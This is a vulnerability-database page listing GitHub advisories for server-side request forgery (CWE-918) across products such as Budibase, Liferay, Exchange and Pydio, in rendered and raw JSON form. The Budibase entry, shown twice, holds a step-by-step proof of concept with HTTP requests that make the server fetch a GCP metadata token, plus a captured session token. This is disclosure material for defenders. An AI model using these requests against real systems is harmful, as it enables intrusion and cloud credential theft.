Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6271 vulnerabilities reference this CWE, most recent first.

GHSA-4647-WPJQ-HH7F

Vulnerability from github – Published: 2026-03-18 20:22 – Updated: 2026-03-25 18:15
VLAI
Summary
Budibase Unrestricted Server-Side Request Forgery (SSRF) via REST Datasource Query Preview
Details

Summary

The REST datasource query preview endpoint (POST /api/queries/preview) makes server-side HTTP requests to any URL supplied by the user in fields.path with no validation. An authenticated admin can reach internal services that are not exposed to the internet — including cloud metadata endpoints (AWS/GCP/Azure), internal databases, Kubernetes APIs, and other pods on the internal network. On GCP this leads to OAuth2 token theft with cloud-platform scope (full GCP access). On any deployment it enables full internal network enumeration.

Details

The vulnerable handler is in packages/server/src/api/controllers/query.ts (preview()). It reads fields.path from the request body and passes it directly to the REST HTTP client without any IP or hostname validation:

fields.path  →  RestClient.read({ path })  →  node-fetch(path)

No blocklist exists for: - Loopback (127.0.0.1, ::1) - RFC 1918 ranges (10.x.x.x, 172.16-31.x.x, 192.168.x.x) - Link-local / cloud metadata (169.254.x.x) - Internal Kubernetes DNS (.svc.cluster.local)

The datasourceId field must reference an existing REST-type datasource. This is trivially obtained via GET /api/datasources (lists all datasources with their IDs) or created on-demand with a single POST — no base URL is required and fields.path overrides it entirely.

PoC

Step 1 — Get session token

POST /api/global/auth/default/login HTTP/1.1
Host: budibase.dev.com
Content-Type: application/json

{"username": "admin@example.com", "password": "password"}

Response sets Cookie: budibase:auth=<JWT>.

Step 2 — Get a REST datasourceId

GET /api/datasources HTTP/1.1
Host: budibase.dev.com
Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs
x-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b

Pick any _id where "source": "REST".

Captured from this engagement: - Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs - App ID: app_dev_3dbfeba315fd4baa8fb6202fe517e93b - REST datasource ID: datasource_49d5a1ed1c6149e48c4de0923e5b20c5

Step 3 — Send SSRF request

Change fields.path to any internal URL. Examples below.

3a. Cloud metadata — GCP OAuth2 token

POST /api/queries/preview HTTP/1.1
Host: budibase.dev.com
Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs
x-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b
Content-Type: application/json

{
  "datasourceId": "datasource_49d5a1ed1c6149e48c4de0923e5b20c5",
  "name": "ssrf", "parameters": [], "transformer": "return data", "queryVerb": "read",
  "fields": {
    "path": "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token",
    "headers": {"Metadata-Flavor": "Google"},
    "queryString": "", "requestBody": ""
  },
  "schema": {}
}

Response:

{"access_token": "ya29.d.c0AZ4bNpYDUK...", "expires_in": 3598, "token_type": "Bearer"}

Impact

What kind of vulnerability is it? Who is impacted? Any authenticated admin/builder user can make the Budibase server issue HTTP requests to any network-reachable address. Confirmed impact on this engagement:

  • Cloud credential theft — GCP OAuth2 token with cloud-platform scope stolen from 169.254.169.254. Token verified valid against GCP Projects API, granting full access to all GCP services in the project.
  • Internal database access — CouchDB reached at budibase-svc-couchdb:5984 with extracted credentials, exposing all application data.
  • Internal service enumeration — MinIO (minio-service:9000), Redis, and internal worker APIs (127.0.0.1:4002) all reachable.
  • Kubernetes cluster access — K8s API server reachable at kubernetes.default.svc using the pod's mounted service account token.

The vulnerability affects all deployment environments (GCP, AWS, Azure, bare-metal, Docker Compose, Kubernetes). The specific impact depends on what services are reachable from the Budibase pod, but cloud metadata theft is possible on any cloud-hosted instance.

Detected by: Abdulrahman Albatel Abdullah Alrasheed

Severity
8.7 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "budibase"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.30.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33226"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-18T20:22:11Z",
    "nvd_published_at": "2026-03-20T23:16:46Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe REST datasource query preview endpoint (`POST /api/queries/preview`) makes server-side HTTP requests to any URL supplied by the user in `fields.path` with no validation. An authenticated admin can reach internal services that are not exposed to the internet \u2014 including cloud metadata endpoints (AWS/GCP/Azure), internal databases, Kubernetes APIs, and other pods on the internal network. On GCP this leads to OAuth2 token theft with `cloud-platform` scope (full GCP access). On any deployment it enables full internal network enumeration.\n\n### Details\n\nThe vulnerable handler is in `packages/server/src/api/controllers/query.ts` (`preview()`). It reads `fields.path` from the request body and passes it directly to the REST HTTP client without any IP or hostname validation:\n\n```\nfields.path  \u2192  RestClient.read({ path })  \u2192  node-fetch(path)\n```\n\nNo blocklist exists for:\n- Loopback (`127.0.0.1`, `::1`)\n- RFC 1918 ranges (`10.x.x.x`, `172.16-31.x.x`, `192.168.x.x`)\n- Link-local / cloud metadata (`169.254.x.x`)\n- Internal Kubernetes DNS (`.svc.cluster.local`)\n\nThe `datasourceId` field must reference an existing REST-type datasource. This is trivially obtained via `GET /api/datasources` (lists all datasources with their IDs) or created on-demand with a single POST \u2014 no base URL is required and `fields.path` overrides it entirely.\n\n### PoC\n\n**Step 1 \u2014 Get session token**\n```http\nPOST /api/global/auth/default/login HTTP/1.1\nHost: budibase.dev.com\nContent-Type: application/json\n\n{\"username\": \"admin@example.com\", \"password\": \"password\"}\n```\nResponse sets `Cookie: budibase:auth=\u003cJWT\u003e`.\n\n**Step 2 \u2014 Get a REST datasourceId**\n```http\nGET /api/datasources HTTP/1.1\nHost: budibase.dev.com\nCookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs\nx-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b\n```\nPick any `_id` where `\"source\": \"REST\"`.\n\nCaptured from this engagement:\n- Token: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs`\n- App ID: `app_dev_3dbfeba315fd4baa8fb6202fe517e93b`\n- REST datasource ID: `datasource_49d5a1ed1c6149e48c4de0923e5b20c5`\n\n**Step 3 \u2014 Send SSRF request**\n\nChange `fields.path` to any internal URL. Examples below.\n\n**3a. Cloud metadata \u2014 GCP OAuth2 token**\n```http\nPOST /api/queries/preview HTTP/1.1\nHost: budibase.dev.com\nCookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs\nx-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b\nContent-Type: application/json\n\n{\n  \"datasourceId\": \"datasource_49d5a1ed1c6149e48c4de0923e5b20c5\",\n  \"name\": \"ssrf\", \"parameters\": [], \"transformer\": \"return data\", \"queryVerb\": \"read\",\n  \"fields\": {\n    \"path\": \"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token\",\n    \"headers\": {\"Metadata-Flavor\": \"Google\"},\n    \"queryString\": \"\", \"requestBody\": \"\"\n  },\n  \"schema\": {}\n}\n```\nResponse:\n```json\n{\"access_token\": \"ya29.d.c0AZ4bNpYDUK...\", \"expires_in\": 3598, \"token_type\": \"Bearer\"}\n```\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nAny authenticated admin/builder user can make the Budibase server issue HTTP requests to any network-reachable address. Confirmed impact on this engagement:\n\n- **Cloud credential theft** \u2014 GCP OAuth2 token with `cloud-platform` scope stolen from `169.254.169.254`. Token verified valid against GCP Projects API, granting full access to all GCP services in the project.\n- **Internal database access** \u2014 CouchDB reached at `budibase-svc-couchdb:5984` with extracted credentials, exposing all application data.\n- **Internal service enumeration** \u2014 MinIO (`minio-service:9000`), Redis, and internal worker APIs (`127.0.0.1:4002`) all reachable.\n- **Kubernetes cluster access** \u2014 K8s API server reachable at `kubernetes.default.svc` using the pod\u0027s mounted service account token.\n\nThe vulnerability affects **all deployment environments** (GCP, AWS, Azure, bare-metal, Docker Compose, Kubernetes). The specific impact depends on what services are reachable from the Budibase pod, but cloud metadata theft is possible on any cloud-hosted instance.\n\n\n\n\nDetected by:\nAbdulrahman Albatel\nAbdullah Alrasheed",
  "id": "GHSA-4647-wpjq-hh7f",
  "modified": "2026-03-25T18:15:24Z",
  "published": "2026-03-18T20:22:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-4647-wpjq-hh7f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33226"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase Unrestricted Server-Side Request Forgery (SSRF) via REST Datasource Query Preview"
}

GHSA-46JJ-588G-JH7G

Vulnerability from github – Published: 2022-05-24 17:47 – Updated: 2022-05-24 17:47
VLAI
Details

A Server-Side Request Forgery (SSRF) vulnerability in Group Office 6.4.196 allows a remote attacker to forge GET requests to arbitrary URLs via the url parameter to group/api/upload.php.

Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2021-28060"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-04-14T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A Server-Side Request Forgery (SSRF) vulnerability in Group Office 6.4.196 allows a remote attacker to forge GET requests to arbitrary URLs via the url parameter to group/api/upload.php.",
  "id": "GHSA-46jj-588g-jh7g",
  "modified": "2022-05-24T17:47:37Z",
  "published": "2022-05-24T17:47:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-28060"
    },
    {
      "type": "WEB",
      "url": "https://fatihhcelik.blogspot.com/2020/12/group-office-crm-ssrf.html"
    },
    {
      "type": "WEB",
      "url": "https://fatihhcelik.github.io/posts/Group-Office-CRM-SSRF"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-46M9-H86M-P3XH

Vulnerability from github – Published: 2026-04-14 00:31 – Updated: 2026-04-14 00:31
VLAI
Details

A vulnerability was identified in HummerRisk up to 1.5.0. This vulnerability affects the function ServerService.addServer of the file ServerService.java of the component Video File Download URL Handler. Such manipulation of the argument streamIp leads to server-side request forgery. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
4.7 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L
2.0 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-6220"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-13T22:16:30Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was identified in HummerRisk up to 1.5.0. This vulnerability affects the function ServerService.addServer of the file ServerService.java of the component Video File Download URL Handler. Such manipulation of the argument streamIp leads to server-side request forgery. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-46m9-h86m-p3xh",
  "modified": "2026-04-14T00:31:12Z",
  "published": "2026-04-14T00:31:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6220"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ccccccctiiiiiiii-lab/public_exp/issues/1"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/785855"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/357141"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/357141/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-46MR-VGX5-FC36

Vulnerability from github – Published: 2026-05-19 18:32 – Updated: 2026-05-20 15:35
VLAI
Details

scalar/astro v0.1.13 was discovered to contain a Server-Side Request Forgery (SSRF) in the scalar_url query parameter of the Scalar Proxy endpoint. This vulnerability allows unauthenticated attackers to force the backend server to send HTTP requests to attacker-controlled URLs, leading to authentication cookies and headers exposure and possible privilege escalation.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-30118"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-19T16:16:20Z",
    "severity": "CRITICAL"
  },
  "details": "scalar/astro v0.1.13 was discovered to contain a Server-Side Request Forgery (SSRF) in the scalar_url query parameter of the Scalar Proxy endpoint. This vulnerability allows unauthenticated attackers to force the backend server to send HTTP requests to attacker-controlled URLs, leading to authentication cookies and headers exposure and possible privilege escalation.",
  "id": "GHSA-46mr-vgx5-fc36",
  "modified": "2026-05-20T15:35:23Z",
  "published": "2026-05-19T18:32:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30118"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prassan10/ssrf-zero-click-ato-scalar"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-46WV-PM82-3PV3

Vulnerability from github – Published: 2026-08-04 00:34 – Updated: 2026-08-04 00:34
VLAI
Details

Adobe Campaign Classic (ACC) is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. Exploitation of this issue does not require user interaction. Scope is changed.

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-48331"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-03T23:16:46Z",
    "severity": "CRITICAL"
  },
  "details": "Adobe Campaign Classic (ACC) is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. Exploitation of this issue does not require user interaction. Scope is changed.",
  "id": "GHSA-46wv-pm82-3pv3",
  "modified": "2026-08-04T00:34:54Z",
  "published": "2026-08-04T00:34:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48331"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/campaign/apsb26-120.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-474J-X27J-W5WX

Vulnerability from github – Published: 2026-09-05 12:31 – Updated: 2026-09-05 12:31
VLAI
Details

Webstudio through 0.296.0 contains an unauthenticated server-side request forgery vulnerability in the /cgi/image, /cgi/video, and /cgi/asset proxy routes when RESIZE_ORIGIN environment variable is unset. Attackers can supply arbitrary URLs to these endpoints to read cloud instance metadata, access internal services, and perform network reconnaissance on the instance infrastructure.

Severity
8.6 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
9.2 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-86119"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-05T10:16:43Z",
    "severity": "CRITICAL"
  },
  "details": "Webstudio through 0.296.0 contains an unauthenticated server-side request forgery vulnerability in the /cgi/image, /cgi/video, and /cgi/asset proxy routes when RESIZE_ORIGIN environment variable is unset. Attackers can supply arbitrary URLs to these endpoints to read cloud instance metadata, access internal services, and perform network reconnaissance on the instance infrastructure.",
  "id": "GHSA-474j-x27j-w5wx",
  "modified": "2026-09-05T12:31:26Z",
  "published": "2026-09-05T12:31:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86119"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webstudio-is/webstudio/issues/5816"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webstudio-is/webstudio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webstudio-is/webstudio/blob/55920c57c4d3e128a0fa48fceabbbc3a1d73f1ef/apps/builder/app/routes/cgi.asset.$.ts"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webstudio-is/webstudio/blob/55920c57c4d3e128a0fa48fceabbbc3a1d73f1ef/apps/builder/app/routes/cgi.image.$.ts"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webstudio-is/webstudio/blob/55920c57c4d3e128a0fa48fceabbbc3a1d73f1ef/apps/builder/app/routes/cgi.video.$.ts"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/webstudio-through-0.296.0-ssrf-via-cgi-proxy-routes"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-476G-MRQ6-QC6C

Vulnerability from github – Published: 2026-08-11 18:31 – Updated: 2026-08-11 18:31
VLAI
Details

Server-side request forgery (ssrf) in Microsoft Exchange Server allows an authorized attacker to elevate privileges over a network.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2026-65813"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-11T17:19:00Z",
    "severity": "MODERATE"
  },
  "details": "Server-side request forgery (ssrf) in Microsoft Exchange Server allows an authorized attacker to elevate privileges over a network.",
  "id": "GHSA-476g-mrq6-qc6c",
  "modified": "2026-08-11T18:31:41Z",
  "published": "2026-08-11T18:31:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65813"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-65813"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-477Q-X55M-J38G

Vulnerability from github – Published: 2025-09-09 00:31 – Updated: 2025-09-10 20:04
VLAI
Summary
Liferay Portal is vulnerable to SSRF through custom object attachment fields
Details

A server-side request forgery (SSRF) vulnerability exist in the Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.7, 2024.Q3.0 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13 and 2024.Q1.1 through 2024.Q1.20 that affects custom object attachment fields. This flaw allows an attacker to manipulate the application into making unauthorized requests to other instances, creating new object entries that link to external resources.

Severity
4.8 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay:com.liferay.object.service"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.208"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-43763"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-10T19:58:09Z",
    "nvd_published_at": "2025-09-09T00:15:32Z",
    "severity": "MODERATE"
  },
  "details": "A server-side request forgery (SSRF) vulnerability exist in the Liferay Portal  7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.7, 2024.Q3.0 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13 and 2024.Q1.1 through 2024.Q1.20 that affects custom object attachment fields. This flaw allows an attacker to manipulate the application into making unauthorized requests to other instances, creating new object entries that link to external resources.",
  "id": "GHSA-477q-x55m-j38g",
  "modified": "2025-09-10T20:04:36Z",
  "published": "2025-09-09T00:31:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43763"
    },
    {
      "type": "WEB",
      "url": "https://github.com/liferay/liferay-portal/commit/0adf32842d055f40accc8b341c4feb11a9728261"
    },
    {
      "type": "WEB",
      "url": "https://github.com/liferay/liferay-portal/commit/e5fe3f9e9916e66a896e7c321e641c6eabbf4dae"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/liferay/liferay-portal"
    },
    {
      "type": "WEB",
      "url": "https://liferay.atlassian.net/browse/LPE-18182"
    },
    {
      "type": "WEB",
      "url": "https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/CVE-2025-43763"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Liferay Portal is vulnerable to SSRF through custom object attachment fields"
}

GHSA-47FM-R9J8-2G49

Vulnerability from github – Published: 2026-08-11 18:30 – Updated: 2026-08-11 18:30
VLAI
Details

CAI Content Credentials is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed.

Severity
4.7 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2026-47922"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-11T17:17:59Z",
    "severity": "MODERATE"
  },
  "details": "CAI Content Credentials is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed.",
  "id": "GHSA-47fm-r9j8-2g49",
  "modified": "2026-08-11T18:30:55Z",
  "published": "2026-08-11T18:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47922"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-111.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-47G3-VPFV-8V8Q

Vulnerability from github – Published: 2022-05-24 16:56 – Updated: 2024-04-04 01:58
VLAI
Details

Pydio 6.0.8 allows Authenticated SSRF during a Remote Link Feature download. An attacker can specify an intranet address in the file parameter to index.php, when sending a file to a remote server, as demonstrated by the file=http%3A%2F%2F192.168.1.2 substring.

Severity
7.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-15033"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-09-19T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "Pydio 6.0.8 allows Authenticated SSRF during a Remote Link Feature download. An attacker can specify an intranet address in the file parameter to index.php, when sending a file to a remote server, as demonstrated by the file=http%3A%2F%2F192.168.1.2 substring.",
  "id": "GHSA-47g3-vpfv-8v8q",
  "modified": "2024-04-04T01:58:17Z",
  "published": "2022-05-24T16:56:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15033"
    },
    {
      "type": "WEB",
      "url": "https://heitorgouvea.me/2019/09/17/CVE-2019-15033"
    },
    {
      "type": "WEB",
      "url": "https://pydio.com"
    },
    {
      "type": "WEB",
      "url": "https://sourceforge.net/projects/ajaxplorer/files/pydio/stable-channel"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
